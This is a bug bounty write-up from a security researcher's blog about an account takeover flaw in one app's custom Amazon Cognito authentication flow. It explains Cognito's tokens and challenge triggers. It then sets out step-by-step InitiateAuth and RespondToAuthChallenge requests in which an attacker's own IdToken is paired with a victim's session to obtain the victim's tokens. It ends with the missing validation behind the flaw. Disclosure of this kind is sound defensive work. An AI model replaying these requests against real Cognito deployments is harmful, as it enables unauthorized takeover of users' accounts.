Skip to main content

Command Palette

Search for a command to run...

AWS Cognito Chaos: The Major Flaw That Let Attackers Takeover User Accounts

Updated
6 min read
H

Hey, I’m Hussam Ahmed — a security researcher with a strong focus on web application security. My specialty lies in authentication: from login flows and session handling to token logic, OAuth, and SSO — and the subtle ways these systems break.

I spend most of my time analyzing real-world authentication implementations, uncovering vulnerabilities through bug bounty programs, and digging into edge-case behaviors that often go unnoticed. If there’s an identity flow or token exchange in play, chances are — I’m already testing it.

<!-- Nykros -- >

What’s Up, Everyone?

Hope y’all are doing awesome! In this post, I’m gonna spill the beans on a bug I discovered while poking around a public program, I won’t be dropping any details about the actual target—just the relevant bits about how it uses Amazon Cognito for its auth and user management.


Quick Intro to Amazon Cognito

Amazon Cognito basically hooks you up with easy sign-up, sign-in, and user access controls for websites and apps. Users can log in using a regular ol’ username and password or go through social login options like Google, Apple, or Facebook.

Two core pieces of Cognito:

  1. User Pools: They’re like user directories that handle registration and login flows.

  2. Identity Pools: Let you give your users access to other AWS stuff.

Typical Cognito Scenarios

1. Signing in with a User Pool

  • You can let your users sign in straight through Cognito or via a third-party IdP (like Google or Facebook).

  • After a successful login, Cognito returns tokens that can be used to call protected APIs or to access other AWS services.

2. Using Cognito for Server-Side Access

  • Once you’re signed in, you get tokens from Cognito.

  • These tokens can help you manage who can do what on your server.

  • You can also create user pool groups to organize and limit permissions for different people.

Key Authentication Flows

1. Client-Side Auth Flow

  • The user types in their username and password.

  • The app calls InitiateAuth with Secure Remote Password (SRP) details.

  • The app calls RespondToAuthChallenge. If everything checks out, Cognito gives back tokens. If more proof (like MFA) is needed, Cognito gives you a session instead.

  • If you do get a session, you’ll call RespondToAuthChallenge again with that MFA code or whatever else is needed.

2. Custom Auth Flow

Cognito also lets you create a custom authentication flow using AWS Lambda triggers. Basically, Cognito provides the underlying “plumbing” (the triggers, challenge/response structure), but you have to write the logic that powers each step in the flow. This means you’re on the hook for coding the security checks correctly.

  • InitiateAuth: Tells Cognito you’re going for a custom flow (CUSTOM_AUTH) and provides some initial user details.

  • RespondToAuthChallenge: If Cognito says “we need a challenge,” you gather the required data (like an MFA code) and send it back with the current session. You keep repeating until the user logs in successfully or you hit an error.

Custom Flow & Challenges

When you do a custom flow:

  1. DefineAuthChallenge: Figures out what the next challenge is, based on previous attempts.

  2. CreateAuthChallenge: Makes the actual challenge details.

  3. VerifyAuthChallengeResponse: Checks if the user’s answer to the challenge is correct.

Heads up: This is exactly where the vulnerability in our story came from—the developer’s code in these triggers didn’t verify that the IdToken actually belonged to the same user who owned the session. Cognito itself doesn’t enforce that; it just links the steps together. So if you don’t handle the logic securely, you risk letting attackers mix and match tokens and sessions.

You can blend these custom steps with built-in ones like SRP password verification or SMS-based MFA. You can even get extra fancy with CAPTCHAs or knowledge-based questions.

Tokens in Cognito

  1. ID Token: A JWT that holds user info (like name, email, phone). It’s used to authenticate your user on server resources.

  2. Access Token: Lists user privileges, groups, and scopes. Use it to call protected endpoints or let your users update their profiles.

  3. Refresh Token: Used to snag new ID and Access tokens. By default, it expires after 30 days, but you can tweak that timeframe to anything from 60 minutes up to 10 years.


The Recon Rundown

Scope:

  • Sign-up

  • Sign-in

  • OAuth (if available)

Acting Like a Regular User

I signed up with an email and password—no big surprises there. I also tested signing up with Google OAuth, which took a second or two longer than usual. Plus, I noticed there wasn’t an option to change the email or unlink Google once connected.

Deep Dive into the Requests

Using BurpSuite, I zeroed in on OAuth-related calls. Typically, the flow looked like this:

  1. Click “Sign in with Google”: You get sent to Google for authentication.

  2. Token Exchange: Cognito receives the OAuth code from Google and trades it for tokens. At this stage, the JWT’s email claim wasn’t marked “verified” yet.

  3. Link Google Username: The client app calls an API endpoint that links the Google account to the local user account, passing an IdToken in the headers.

  4. Finishing Up: Finally, the app calls InitiateAuth and RespondToAuthChallenge with a custom challenge name from AWS Lambda triggers. That’s where the code verifies the IdToken and username, returning user-specific tokens. Or at least, that’s how it’s supposed to work when done securely.

The Attack Scenario

At some point, I asked myself:

What if I snag a valid session for another user and pair it with my own valid IdToken in the RespondToAuthChallenge call?

Turns out:

  • The session is indeed checked to see if it lines up with the correct username.

  • The IdToken is checked to see if it’s valid (i.e., not expired).

  • However, there wasn’t any code linking that IdToken to the specific session or user. That’s because the dev who wrote the custom challenge logic didn’t do that last piece of validation!

So you could basically combine a victim’s session with your own IdToken—Cognito’s framework wouldn’t blow the whistle, because it only sees that “the session is valid” and “the token is valid.” It never checks if they belong together.


How to Exploit (Attacker’s Point of View)

  1. Attacker Logs In

    • The attacker logs into their own account to get a valid IdToken.
  2. Attacker Snags Victim’s Session

    • Fire off a POST to InitiateAuth:

        POST / HTTP/2
        Host: cognito-idp.us-east-1.amazonaws.com
        X-Amz-Target: AWSCognitoIdentityProviderService.InitiateAuth
        Content-Type: application/x-amz-json-1.1
        ...
        {
          "AuthFlow": "CUSTOM_AUTH",
          "ClientId": "targetAppClientId",
          "AuthParameters": {
            "USERNAME": "VICTIM_EMAIL"
          },
          "ClientMetadata": {}
        }
      
    • The response has the victim’s username and session:

        {
          "ChallengeName": "CUSTOM_CHALLENGE",
          "ChallengeParameters": {
            "USERNAME": "VICTIM_USERNAME",
            "email": "VICTIM_EMAIL"
          },
          "Session": "VICTIM_SESSION"
        }
      

  3. Attacker Mashes Up Their IdToken with Victim’s Session

    • Send another POST to RespondToAuthChallenge:

        POST / HTTP/2
        Host: cognito-idp.us-east-1.amazonaws.com
        X-Amz-Target: AWSCognitoIdentityProviderService.RespondToAuthChallenge
        Content-Type: application/x-amz-json-1.1
        ...
        {
          "ChallengeName": "CUSTOM_CHALLENGE",
          "ChallengeResponses": {
            "USERNAME": "VICTIM_USERNAME",
            "ANSWER": "ATTACKER_IdToken"
          },
          "ClientId": "targetAppClientId",
          "Session": "VICTIM_SESSION"
        }
      
    • Even though the ANSWER (the IdToken) belongs to the attacker, Cognito ends up returning the victim’s tokens:

        {
          "AuthenticationResult": {
            "AccessToken": "VICTIM_ACCESS_TOKEN",
            "ExpiresIn": 3600,
            "IdToken": "VICTIM_ID_TOKEN",
            "RefreshToken": "VICTIM_REFRESH_TOKEN",
            "TokenType": "Bearer"
          },
          "ChallengeParameters": {}
        }
      

End result: The attacker gets the victim’s tokens and can now access the victim’s account.


Wrapping It Up

This vulnerability exists because the developer who set up the custom auth flow didn’t include a check to ensure that the IdToken and the user session actually belong to the same person. Amazon Cognito only provides the building blocks. It’s up to you (or your team) to make sure your custom challenge code does all the proper validations.


If you found this article helpful, feel free to share it.

LinkedIn: Hossam Ahmed

A

Phenomenal